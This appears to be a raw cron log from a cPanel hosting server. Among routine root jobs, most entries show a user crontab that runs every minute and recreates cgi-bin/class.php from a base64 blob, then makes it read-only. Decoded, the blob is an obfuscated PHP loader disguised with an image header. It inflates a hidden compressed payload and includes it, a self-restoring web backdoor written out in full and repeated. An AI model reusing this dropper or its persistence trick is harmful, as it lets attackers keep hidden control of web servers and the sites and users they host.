Nov 10 01:22:01 server CROND[16679]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 01:23:01 server CROND[17577]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 01:24:01 server CROND[18399]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 01:25:01 server CROND[19223]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 01:25:01 server CROND[19224]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 01:25:01 server CROND[19225]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 01:26:01 server CROND[20034]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 01:27:01 server CROND[20903]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 01:27:01 server CROND[20904]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 01:28:01 server CROND[21798]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 01:29:01 server CROND[22606]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 01:30:01 server CROND[23423]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 01:30:01 server CROND[23425]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 01:30:01 server CROND[23426]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 01:30:01 server CROND[23428]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 01:31:01 server CROND[24352]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 01:32:01 server CROND[25241]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 01:33:01 server CROND[26055]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 01:34:01 server CROND[26460]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 01:35:01 server CROND[27168]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 10 01:35:01 server CROND[27171]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
